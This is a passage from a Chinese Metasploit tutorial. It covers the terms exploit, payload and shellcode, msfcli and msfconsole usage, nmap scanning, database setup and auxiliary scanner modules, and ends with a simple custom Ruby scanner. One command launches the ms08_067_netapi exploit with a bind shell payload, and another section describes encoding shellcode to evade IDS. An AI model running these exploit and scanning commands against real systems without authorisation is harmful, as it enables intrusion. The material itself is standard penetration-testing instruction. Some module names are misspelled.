标签:
目录
一.名词解释···································································· 3
二.msf基础··································································· 3
三.信息探测与收集··························································· 4
四.基本漏洞扫描······························································ 8
五.基础溢出命令·····························································10
六.METERPRETER·························································11
七.避开杀软···································································15
八.使用用户端攻击方式(client-side attacks)······················ 17
九.MSF 附加模块···························································18
十.社会工程学工具集(SET)··········································· 20
十一.FAST-TRACK·························································22
十二.KARMERASPLOIT················································· 23
十四.渗透实战演习··························································24
十五.常用命令备忘··························································26
3
一.名词解释
exploit
测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。常见的
有内存溢出,网站程序漏洞利用,配置错误exploit。
payload
我们想让被攻击系统执行的程序,如reverse shell 可以从目标机器与测试者之间建立一
个反响连接,bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只
能在目标机器上执行有限命令的程序。
shellcode
是进行攻击时的一系列被当作payload 的指令,通常在目标机器上执行之后提供一个可
执行命令的shell。
module
MSF 的模块,由一系列代码组成。
listener
等待来自被攻击机器的incoming 连接的监听在测试者机器上的程序。
二.MSF基础
1、MSF 提供多种用户界面:控制台模式(msfconsole),命令行模式(msfcli),图形模式(msfgui、
armitage),(在老版本中还有web 界面模式,后来貌似由于安全因素被取消了?)其中console
模式最常用,启动方式:
cd /opt/framework/msf3/
msfconsole
运行此命令后将进入msf 命令提示符:
msf>
2、获取命令的帮助信息:help
例子:
help connect
3、msfcli 和msfconsole 相比不提供交互方式,它直接从命令行输入所有参数并产生结果,
msfcli –h #获取帮助信息
msfcli <exploit_name> <option=value> [mode]
------------------------------------------------------------------------------
mode:H(help)帮助
S(summary)显示模块信息
O(options)显示模块的可用选项
A(advanced)显示高级选项
I(ids)显示IDS EVASION 选项
P(payload)显示此模块可用的payload
T(targets)显示可用targets
4
AC(action)显示可用actions
C(check)运行模块测试
E(execute)执行选定的模块
--------------------------------------------------------------------------------------
例子:ms08_067_netapi 模块
msfcli windows/smb/ms08_067_netapi O #查看可用选项
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 P #查看可用payload
msfcli windows/smb/ms08_067_netapi RHOST=192.168.0.111 PAYLOAD=windows/shell/bind_tcp E
#执行(此处O、P 等参数也可以用小写)
4、Armitage :MSF 的一个图形接口
运行方式:
cd /opt/farmework/msf3/
armitage
5、MSF 其他组件:
MSFpayload 工具:
用于生成shellcode,可生成C,Ruby,JaveScript,VB 格式的shellcode。
帮助信息:
msfpayload –h
MSFencode 工具:
编码压缩shellcode,过IDS ,防火墙。
msfencode -h
msfencode –l 查看可用的编码器(encoders),效果最佳的是x86/shikata_ga_nai
三.信息刺探与收集
1、攻击第一步:基础信息收集
①whois 查询:
msf > whois example.com
msf> whois 192.168.1.100
②http://searchdns.netcraft.com/在线收集服务器IP 信息工具
③nslookup
set type=mx
> example.com
2、用nmap 探测开放端口和服务:-sS SYN 半开扫描-sT TCP 半开扫描-Pn 不使用ping
方式探测主机-A 探测服务类型-6 开启IPV6 扫描-O 探测操作系统版本
--------------------------------------------------------------------------------------------------
常用扫描参数组合:
nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111
其他组合:
5
nmap -T4 -A -v 深入式扫描
nmap -sS -sU -T4 -A -v 同上,且扫UDP
nmap -p 1-65535 -T4 -A -v 扫描所有TCP 端口
nmap -T4 -A -v -Pn 不使用ping
nmap -sn 使用ping
nmap -T4 -F 快速扫描
nmap -sV -T4 -O -F --version-light 加强版快速扫描
nmap -sn --traceroute 快速路由跟踪扫描
nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or
(discovery and safe)" 慢速全面扫描
----------------------------------------------------------------------------------------------------------------
( nmap 的scripts 位于/usr/local/share/nmap/scripts/ 目录, 用LUA 语言编写, nmap
--script-help all | less 查看脚本扫描帮助信息)
(nmap 还有一个GUI 界面工具叫zenmap,命令zenmap 或nmapfe 都可以启动)
3、MSF 与postgresql 协同工作
/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_status
导入nmap 扫描的结果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 扫描结果导出为Subnet1.xml
msf> db_import Subnet1.xml
msf> db_hosts –c address #查看导入的主机IP
(msf 也可以和mysql 一起工作,在bt5 r1 中msf 默认支持连接mysql:
msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #连接本机mysql 的msf3 数据库
mysql 默认密码toor,使用db_connect 连接时会自动创建msf3 库)
4、高级扫描方式:
①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列扫描器,与nmap 的-sI -O 选项类似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run
(RHOSTS、RPORT 等参数也可以用小写)
②msf> nmap –PN –sI 192.168.1.09 192.168.1.155
③nmap 连接数据库:
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看扫描结果
④使用portscan 模块:
6
msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run
5、特定扫描:
smb_version 模块:
msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
查找mssql 主机:
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
SSH 服务器扫描:
msf> use auxiliary/scanner/ssh/ssh_version
set THREADS 50
run
FTP 主机扫描:
msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
扫描FTP 匿名登录:
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run
扫描SNMP 主机:
msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run
7
6、编写自定义扫描模块:
MSF 框架提供对其所有exploit 和method 的访问,支持代理,SSL,报告生成,线程,
使用Ruby 语言。
例子:一个简单的自定义扫描模块
----------------------------------------------------------------------------------------------------------------
#Metasploit
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf:Auxiliary::Scanner
def initialize
super(
‘Name’ => ‘My custom TCP scan’,
‘Version’ => ‘$Revision: 1$’,
‘Description’ => ‘My quick scanner’,
‘Author’ => ‘Your name here’,
‘License’ => ‘MSF_LICENSE’
)
register_options(
[
Opt::RPORT(12345)
],self.class)
end
def run_host(ip)
connect()
sock.puts(‘HELLO SERVER’)
data = sock.recv(1024)
print_status(“Received: #{data} from #{ip}”)
disconnect()
end
end
-------------------------------------------------------------------------------------------------------------
测试:将模块保存到modules/auxiliary/scanner/目录下面,命名为simple_tcp.rb,注意
保存的位置很重要。
使用nc 监听一个端口测试这个模块:
echo “Hello Metasploit” > banner.txt
nc –lvnp 12345 < banner.txt
msf> use auxiliary/scanner/simple_tcp
>show options
>set RHOSTS 192.168.1.111
>run
标签:
原文地址:http://www.cnblogs.com/sybboy/p/5064213.html